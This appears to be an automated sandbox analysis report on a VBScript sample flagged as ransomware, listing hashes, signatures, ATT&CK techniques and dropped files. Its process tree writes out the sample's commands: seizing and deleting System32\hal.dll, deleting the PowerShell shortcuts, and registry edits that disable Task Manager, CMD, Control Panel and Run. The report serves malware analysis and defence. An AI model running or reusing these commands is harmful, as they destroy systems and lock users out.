c346224488e7aca5c7fe1445886ebbce04efd9dcf36ee9c7524b77b98b080815

Analysis

max time kernel
141s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 14:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
code.vbs
Size 4KB
Sample240726-rxyptstdql
SHA256 c346224488e7aca5c7fe1445886ebbce04efd9dcf36ee9c7524b77b98b080815
MD5 d998874df78ab3521c517cb911de7739
SHA1 c718974a79905f317d27de3717b9ba829f35283e
SHA512 5e33c44e9a237916d5011945b92652205c5701446e770a632374354fb84b7cc12cb63bdabb2e1446e0f9632816fc18a72028f9ad06b1a188097d5c1de0206a1b
SSDEEP 96:wFCUbG4XFDeTHkJkuQPkdkNsJRSzCsHQaT0FRzOin4:wRjXFkeZ4
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

discovery evasion exploit ransomware

Malware Config

Signatures

Renames multiple (176) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
3696	takeown.exe
3736	takeown.exe
372	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
372	icacls.exe
3696	takeown.exe
3736	takeown.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 9 IoCs

Modify Registry

T1112

pid	Process
636	reg.exe
436	reg.exe
4176	reg.exe
3356	reg.exe
1632	reg.exe
3836	reg.exe
3448	reg.exe
3896	reg.exe
212	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3696	takeown.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 2920	5000	WScript.exe	95
PID 5000 wrote to memory of 2920	5000	WScript.exe	95
PID 5000 wrote to memory of 4832	5000	WScript.exe	97
PID 5000 wrote to memory of 4832	5000	WScript.exe	97
PID 5000 wrote to memory of 3836	5000	WScript.exe	99
PID 5000 wrote to memory of 3836	5000	WScript.exe	99
PID 5000 wrote to memory of 636	5000	WScript.exe	101
PID 5000 wrote to memory of 636	5000	WScript.exe	101
PID 5000 wrote to memory of 3448	5000	WScript.exe	103
PID 5000 wrote to memory of 3448	5000	WScript.exe	103
PID 4832 wrote to memory of 3736	4832	cmd.exe	105
PID 4832 wrote to memory of 3736	4832	cmd.exe	105
PID 2920 wrote to memory of 3696	2920	cmd.exe	106
PID 2920 wrote to memory of 3696	2920	cmd.exe	106
PID 5000 wrote to memory of 436	5000	WScript.exe	107
PID 5000 wrote to memory of 436	5000	WScript.exe	107
PID 2920 wrote to memory of 372	2920	cmd.exe	109
PID 2920 wrote to memory of 372	2920	cmd.exe	109
PID 5000 wrote to memory of 3896	5000	WScript.exe	110
PID 5000 wrote to memory of 3896	5000	WScript.exe	110
PID 5000 wrote to memory of 4176	5000	WScript.exe	112
PID 5000 wrote to memory of 4176	5000	WScript.exe	112
PID 5000 wrote to memory of 3356	5000	WScript.exe	114
PID 5000 wrote to memory of 3356	5000	WScript.exe	114
PID 5000 wrote to memory of 212	5000	WScript.exe	116
PID 5000 wrote to memory of 212	5000	WScript.exe	116
PID 5000 wrote to memory of 1632	5000	WScript.exe	119
PID 5000 wrote to memory of 1632	5000	WScript.exe	119
PID 5000 wrote to memory of 4312	5000	WScript.exe	121
PID 5000 wrote to memory of 4312	5000	WScript.exe	121

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3696
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell /grant Everyone:(F) && taskkill /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\*.exe /im && del/f/s/q C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3736
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3836
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColor /t REG_DWORD /d 0x2d1954 /f
  2⤵
  - Modifies registry key
  PID:636
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3448
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Modifies registry key
  PID:436
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3896
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4176
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3356
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:212
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
  2⤵
  - Modifies registry key
  PID:1632
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" delete HKCR\lnkfile\IsShortcut
  2⤵
  PID:4312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh.vbs

Path C:\Users\Admin\AppData\Roaming\sh.vbs
Size 79B
SHA256 c97fb00a65e02154715ebab5948521244d6572b50e817076b122402b328cbf41
MD5 9c7e6123e53e2934815230ecb3322366
SHA1 aa2668d966f5c98648786a47d90b5a2fd538ef7a
SHA512 6d580274be6202f91fc182ce4a74d689a9f34bde34115611465c4f7c7b40d86f9a9ae70760af1ecbada85d612e0d24fe28714158d247186d2d45b385dd65b8a9
MD5 SHA1 SHA512

Submit Download

00013890.exe.LNK

Path C:\Users\Admin\Desktop\00013890.exe.LNK
Size 1KB
SHA256 97d280b536757e505558c09f313f3b94b907c2436138e8ee3e0871c08b08c953
MD5 c20d8b1809ad137ef1c839d8b0ebc6c2
SHA1 ee61ea7164b7e70213059f424170a68b35828fe4
SHA512 24c7a90e41b27286347bed99afe7029c4e195a5352d8453133ff8c5d489d2fb80dce0d3c241eef0d7449b1d0a4d6a2a1ac4f9bff64a997653e72ea00b9b4339c
MD5 SHA1 SHA512

Submit Download

0005712.exe.LNK

Path C:\Users\Admin\Desktop\0005712.exe.LNK
Size 1KB
SHA256 03737392c8d99e3975f692feeba29e606f470681428c7fc1fc1d74c26a00a893
MD5 16d1bd8127e49b49fde3ee4b04a4205f
SHA1 894f04ade3f202232eefbfbc4ca280296529ee48
SHA512 95234600c9a732b8552bbc4f69b3e1df31ebf16c1bc742b84aabc4788f76778ca2b3950a91b088ef261fd597bfd17189b4c8a72c786561ac417ebc3b037c5f12
MD5 SHA1 SHA512

Submit Download

0207923.exe.LNK

Path C:\Users\Admin\Desktop\0207923.exe.LNK
Size 1KB
SHA256 587b6bd784b0c702ae875866d62f4eff7f71b1055a5ff1ebe255890006c58c6e
MD5 f212569e452a0c142dd213b8dac988d1
SHA1 53a63367f9193e6c54617c7fac755b17230da588
SHA512 bf901dfc7ad6a5a1e638794c3207a1e2c2b6166e26f7c972d5e42d8970a6691fca4c5d037c4f29ee3b46c82b03aed96a1a2edfd8e9df0106cab041fbef797024
MD5 SHA1 SHA512

Submit Download

0209664.exe.LNK

Path C:\Users\Admin\Desktop\0209664.exe.LNK
Size 1KB
SHA256 d11f81d10ac6aa5d4150ef5164f7fa3a2d3fecc357e8ee6ae5339fcfacb4bd5a
MD5 c06e299942f0a56696c885794038da0e
SHA1 2a9604e15d837e7c9dbfee0deb718ee7d0a9a30e
SHA512 3cac8101a2895f30a60e553ebaf3f1218fc2817b4d499a995b3ee6a850bcb4be5c0c39bb17f8beecaabf27cbbde285ba826ec334c816edf8e356bdfe10a7a48a
MD5 SHA1 SHA512

Submit Download

05015521.exe.LNK

Path C:\Users\Admin\Desktop\05015521.exe.LNK
Size 1KB
SHA256 7686955364d9738cda65c7ca5ac93d71f433465313f0d72af5f750908e69e5da
MD5 fd9c11d992bc02e6aedd9d346dc083af
SHA1 ddcfddf7624e25213ab72997284c667ceacab7e0
SHA512 9e752bca07aee110b7d1e740edea7f060ddeb001835a7df485f0198411281b55ca657033911e8694718e39c66a29108b51f0da529f4e1b66d5b10447a906100d
MD5 SHA1 SHA512

Submit Download

06010775.exe.LNK

Path C:\Users\Admin\Desktop\06010775.exe.LNK
Size 1KB
SHA256 cbf91c101da01e1f6592fcd046d404df4f91d7a9c4fb4bb5278455ccaa52b748
MD5 40b0745dd7a0cd04f6e69a72c7eb85fc
SHA1 87ccf0cef50b857f7b49b5269632551245e8abc3
SHA512 262ea8b872de22929228916879a2fd883cdb911363a93e5f02c088c85dabb92e3c0adcd6ebe129560d4f35eb677fb1ebf2f48527e0bb63911f451baee402e90f
MD5 SHA1 SHA512

Submit Download

060184165.exe.LNK

Path C:\Users\Admin\Desktop\060184165.exe.LNK
Size 1KB
SHA256 b604a6e63e8d5593c9a6afcac787c6d16c935841d0ae93a6358a538b5089626a
MD5 f59a9c0e7860afac27849954d29313b6
SHA1 c32dde55fd95dfb9ea8a0a97c7cac884b3af214c
SHA512 88044d21550fd31101d35627438d3e3c835fed767d17200b9777e5169f35724392ff90f47203c6a0b829699470132e859628f35108c07bb8e1abfbaf196205f0
MD5 SHA1 SHA512

Submit Download

0608429.exe.LNK

Path C:\Users\Admin\Desktop\0608429.exe.LNK
Size 1KB
SHA256 213de57a093d400a6c3b47879f137f2b09fa2b34005054b9023bbfd402f74463
MD5 24522055ad741c5fa1119a37334eb006
SHA1 fd5df004cd8e444ca3f60ab36653424e6c509104
SHA512 19c893fe15ae2ba256e2a8d13c6d51fb1fcabe96b144a11644b0f42eea27e7bf84591799f6841fc2d9da07e1770709975229aa593ee7cf965de1deadc9bc6252
MD5 SHA1 SHA512

Submit Download

08012497.exe.LNK

Path C:\Users\Admin\Desktop\08012497.exe.LNK
Size 1KB
SHA256 1bb78a5dee3709e4f791b72485a36954f473a6de6e7f70f75a7badf51d9b7d21
MD5 98e49f278c1f0cc82c00316e6da16475
SHA1 4ccc1ce6a024948d8c7de6f3ccfa54d1ff6037cb
SHA512 b4787526758dbf1220074929f7e477b53db7f3da7774f174584843673855281b35afa6ebf5789c765f80e6a17a20d43348f4a165593ea75617691d36a054c2bf
MD5 SHA1 SHA512

Submit Download

0902514.exe.LNK

Path C:\Users\Admin\Desktop\0902514.exe.LNK
Size 1KB
SHA256 4477fa095a6e3dc2ec7a5dd19ae6047fa24048e961010086f02ee1b3d0dee3d7
MD5 810b2c1db8d93dbe70b892af1137c720
SHA1 281d22621c7d62fcf756aeee6ce25b36f39dc5a3
SHA512 dd086f2901d16cd51562af5a625894327e5a7d231ff02f7b8e5e8e214762a7c63058702f54d2a6dd66f663a08ad1f8c089188b0f254bd718cf3fc0a262453417
MD5 SHA1 SHA512

Submit Download

0907065.exe.LNK

Path C:\Users\Admin\Desktop\0907065.exe.LNK
Size 1KB
SHA256 1bf37c789c1756480e1928ed1ae37a2f7bf7ab79eae05f9c5302366647cf4eef
MD5 28777a272aeabd61c37f480006fe88c3
SHA1 cfefe3a5222012400a07f986d9dfa7042dbe9386
SHA512 d89680b6e9a0e08048294842746f9cc9ef6baae692026b64757a5dec4d242b41a4181a236b67fa6f29f135e64116bf1540de7bc7aeed96854beb8c12a3461c4f
MD5 SHA1 SHA512

Submit Download

desktop.ini.vbs

Path C:\Users\Admin\Desktop\desktop.ini.vbs
Size 59B
SHA256 e604cd4b561cdf6bed718eba96d722b0532536c678edfe706f2cb05e7de14556
MD5 68c0606fdeed7cb659f64517f70efd22
SHA1 0be54f816fcd2734aef51b460fc9ae2a4854266c
SHA512 a4ad6af54cb750bc2e9f10aba365477d98b8f1992335afb3fbf503ded0c409e6ea4fb289dbf2ae4aba6ff19703d9359c9ff490c8b6ab6a37fd95ba513962ae7a
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads